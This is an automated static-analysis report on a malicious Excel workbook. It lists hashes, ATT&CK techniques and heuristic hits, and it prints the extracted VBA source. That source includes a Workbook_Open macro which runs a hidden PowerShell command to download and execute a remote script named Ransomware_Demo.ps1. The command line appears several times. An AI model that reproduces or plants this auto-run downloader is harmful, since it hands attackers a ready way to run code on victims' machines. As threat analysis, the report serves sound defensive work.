Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 03f24b9ca5e0a46a…

MALICIOUS

Office (OOXML)

220.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07
MD5: 2a85d40e4a662fa63308108b3ebd8f74 SHA-1: 0c61c415428870b6385be068dfdcda854eb49229 SHA-256: 03f24b9ca5e0a46a7f5cb1dee99d6597209b5c2cb8f8505d36d46952b0c6632e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that executes a PowerShell command. This command is designed to download and execute a second-stage payload from the URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1. The use of a Workbook_Open macro and the execution of a PowerShell downloader are strong indicators of a malicious document, likely delivered as a spearphishing attachment.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1079 bytes
SHA-256: a9525c418a92323e25496c139b6fa7ad9ba1d40ac0126094c2e6f14f490fdd41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub test()

Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('https://faweb2021.azurewebsites.net/ithome2021/Ransomware_Demo.ps1'))""", 1)


End Sub

Attribute VB_Name = "工作表1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: a3f7d0928843ca9c9a1da2fc330dece775ebe85aca495bc9800581c7b115ce6c